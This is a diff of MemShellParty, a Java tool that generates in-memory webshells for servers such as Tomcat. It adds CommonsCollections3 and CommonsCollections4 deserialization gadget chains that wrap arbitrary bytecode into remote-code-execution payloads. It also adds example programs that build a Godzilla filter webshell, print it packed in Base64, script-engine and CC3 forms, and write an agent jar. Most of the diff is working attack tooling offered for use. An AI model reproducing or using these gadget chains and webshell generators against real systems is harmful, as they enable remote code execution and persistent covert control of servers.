|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
|
||||||
Config config = response.getBody();
|
Map body = response.getBody();
|
||||||
assertNotNull(config);
|
assertNotNull(body);
|
||||||
assertNotNull(config.getServers());
|
}
|
||||||
assertNotNull(config.getCore());
|
|
||||||
assertNotNull(config.getPackers());
|
@Test
|
||||||
|
public void testConfigServersEndpoint() {
|
||||||
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||||
|
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
|
||||||
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void testConfigPackersEndpoint() {
|
||||||
|
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||||
|
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
|
||||||
|
List<String> body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+80
-8
@@ -1,17 +1,70 @@
|
|||||||
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
|
version = '1.7.0'
|
||||||
|
|
||||||
|
buildscript {
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
dependencies {
|
||||||
|
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
||||||
|
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
allprojects {
|
allprojects {
|
||||||
if (it.name != 'bom') {
|
group = 'io.github.reajason'
|
||||||
|
|
||||||
|
if (it.name != 'memshell-party-bom') {
|
||||||
apply(plugin: 'java')
|
apply(plugin: 'java')
|
||||||
apply(plugin: 'idea')
|
apply(plugin: 'idea')
|
||||||
apply(plugin: 'jacoco')
|
apply(plugin: 'jacoco')
|
||||||
|
apply(plugin: 'io.freefair.lombok')
|
||||||
}
|
}
|
||||||
|
|
||||||
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
apply(plugin: 'com.vanniktech.maven.publish')
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':bom'))
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name = 'MemShellParty'
|
||||||
|
description = project.description
|
||||||
|
url = 'https://github.com/ReaJason/MemShellParty'
|
||||||
|
inceptionYear = '2025'
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name = 'MIT'
|
||||||
|
url = 'https://spdx.org/licenses/MIT.html'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id = 'reajason'
|
||||||
|
name = 'ReaJason'
|
||||||
|
url = "https://reajason.eu.org"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
||||||
|
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
||||||
|
url = 'https://github.com/ReaJason/MemShellParty'
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
||||||
|
dependencies {
|
||||||
|
implementation platform(project(':memshell-party-bom'))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
idea {
|
idea {
|
||||||
@@ -36,12 +89,31 @@ jacocoTestReport {
|
|||||||
classDirectories.from(
|
classDirectories.from(
|
||||||
fileTree('generator/build/classes/java/main') {
|
fileTree('generator/build/classes/java/main') {
|
||||||
excludes = [
|
excludes = [
|
||||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
'com/reajason/javaweb/memshell/**/godzilla/**',
|
||||||
'com/reajason/javaweb/memsell/**/injector/**',
|
'com/reajason/javaweb/memshell/**/injector/**',
|
||||||
'com/reajason/javaweb/memsell/**/command/**',
|
'com/reajason/javaweb/memshell/**/command/**',
|
||||||
'com/reajason/javaweb/config/**'
|
'com/reajason/javaweb/config/**'
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.register('publishAllToMavenCentral') {
|
||||||
|
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
||||||
|
if (isSnapshot) {
|
||||||
|
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
} else {
|
||||||
|
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
@@ -1,15 +1,15 @@
|
|||||||
plugins {
|
group = 'io.github.reajason'
|
||||||
id "io.freefair.lombok" version "8.11"
|
description = "Java deserialize payload for MemShellParty"
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
implementation project(":memshell-party-common")
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
implementation 'com.caucho:hessian:4.0.66'
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
||||||
|
implementation 'commons-collections:commons-collections:3.2.1'
|
||||||
|
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
testImplementation platform('org.junit:junit-bom')
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
|||||||
@@ -1,10 +1,7 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
import com.reajason.javaweb.deserialize.payload.java.*;
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,6 +18,12 @@ public enum PayloadType {
|
|||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CC 链
|
||||||
|
*/
|
||||||
|
CommonsCollections3(new CommonCollections3()),
|
||||||
|
CommonsCollections4(new CommonCollections4()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Hessian XSLT write
|
* Hessian XSLT write
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -1,12 +1,13 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -20,6 +21,7 @@ public class TemplateUtils {
|
|||||||
byte[] fooBytes;
|
byte[] fooBytes;
|
||||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||||
.subclass(Object.class).name("foo")
|
.subclass(Object.class).name("foo")
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||||
.make()) {
|
.make()) {
|
||||||
fooBytes = make.getBytes();
|
fooBytes = make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/2
|
||||||
|
*/
|
||||||
|
public class CommonCollections3 implements Payload {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
|
||||||
|
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
||||||
|
|
||||||
|
Map innerMap = new HashMap<>();
|
||||||
|
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
|
||||||
|
|
||||||
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
|
||||||
|
|
||||||
|
Map expMap = new HashMap<>();
|
||||||
|
expMap.put(tiedMapEntry, "valueTest");
|
||||||
|
outerMap.remove(templates);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
||||||
|
return expMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
+39
@@ -0,0 +1,39 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
|
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/2
|
||||||
|
*/
|
||||||
|
public class CommonCollections4 implements Payload {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
ChainedTransformer chain =
|
||||||
|
new ChainedTransformer(
|
||||||
|
new ConstantTransformer(TrAXFilter.class),
|
||||||
|
new InstantiateTransformer(
|
||||||
|
new Class[]{Templates.class}, new Object[]{templates}));
|
||||||
|
TransformingComparator comparator = new TransformingComparator(chain);
|
||||||
|
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||||
|
Reflections.setFieldValue(queue, "size", 2);
|
||||||
|
Reflections.setFieldValue(queue, "comparator", comparator);
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>com.reajason.javaweb.maven</groupId>
|
||||||
|
<artifactId>memshell-party-maven-example</artifactId>
|
||||||
|
<version>1.0-SNAPSHOT</version>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<maven.compiler.source>8</maven.compiler.source>
|
||||||
|
<maven.compiler.target>8</maven.compiler.target>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.0.4</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
+50
@@ -0,0 +1,50 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.*;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class Godzilla {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
|
||||||
|
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
||||||
|
}
|
||||||
|
}
|
||||||
+52
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.*;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class GodzillaAgent {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-10
@@ -1,7 +1,3 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
@@ -10,9 +6,11 @@ java {
|
|||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.memsell'
|
group = 'io.github.reajason'
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
|
// 测试使用 JDK17 进行编译与运行
|
||||||
tasks.withType(Test).configureEach {
|
tasks.withType(Test).configureEach {
|
||||||
javaLauncher = javaToolchains.launcherFor {
|
javaLauncher = javaToolchains.launcherFor {
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
@@ -33,26 +31,24 @@ test {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":common")
|
implementation project(":memshell-party-common")
|
||||||
implementation project(":deserialize")
|
implementation project(":deserialize")
|
||||||
|
|
||||||
implementation project(":memshell")
|
implementation project(":memshell")
|
||||||
implementation project(":memshell-java8")
|
implementation project(":memshell-java8")
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
implementation 'com.github.jar-analyzer:class-obf'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
|
||||||
|
|
||||||
implementation 'org.apache.bcel:bcel'
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
implementation 'commons-io:commons-io'
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
implementation 'commons-codec:commons-codec'
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
implementation 'org.springframework:spring-webmvc'
|
||||||
implementation 'org.springframework:spring-webflux'
|
implementation 'org.springframework:spring-webflux'
|
||||||
|
|||||||
@@ -4,8 +4,6 @@ import com.reajason.javaweb.memshell.config.*;
|
|||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import me.n1ar4.clazz.obfuscator.api.ClassObf;
|
|
||||||
import me.n1ar4.clazz.obfuscator.config.BaseConfig;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -48,39 +46,12 @@ public class MemShellGenerator {
|
|||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
if (shellConfig.isObfuscate()) {
|
|
||||||
BaseConfig config = BaseConfig.Default();
|
|
||||||
config.setIgnorePublic(true);
|
|
||||||
config.setEnableMethodName(false);
|
|
||||||
config.setEnableFieldName(false);
|
|
||||||
config.setEnableAES(false);
|
|
||||||
config.setEnableAdvanceString(false);
|
|
||||||
config.setQuiet(true);
|
|
||||||
|
|
||||||
ClassObf classObf = new ClassObf(config);
|
|
||||||
shellBytes = classObf.run(shellBytes).getData();
|
|
||||||
}
|
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
|
||||||
if (shellConfig.isObfuscate()) {
|
|
||||||
BaseConfig config = BaseConfig.Default();
|
|
||||||
config.setIgnorePublic(true);
|
|
||||||
config.setEnableMethodName(false);
|
|
||||||
config.setEnableFieldName(false);
|
|
||||||
config.setEnableAES(false);
|
|
||||||
config.setEnableAdvanceString(false);
|
|
||||||
config.setQuiet(true);
|
|
||||||
|
|
||||||
ClassObf classObf = new ClassObf(config);
|
|
||||||
injectorBytes = classObf.run(injectorBytes).getData();
|
|
||||||
}
|
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return GenerateResult.builder()
|
||||||
|
|||||||
@@ -103,6 +103,8 @@ public enum Packers {
|
|||||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Hessian 反序列化打包器
|
* Hessian 反序列化打包器
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class AntSwordConfig extends ShellToolConfig {
|
public class AntSwordConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class BehinderConfig extends ShellToolConfig {
|
public class BehinderConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
@@ -14,5 +15,5 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = "cmd";
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,8 +4,8 @@ import lombok.AllArgsConstructor;
|
|||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -33,11 +33,11 @@ public class GenerateResult {
|
|||||||
public static class GenerateResultBuilder {
|
public static class GenerateResultBuilder {
|
||||||
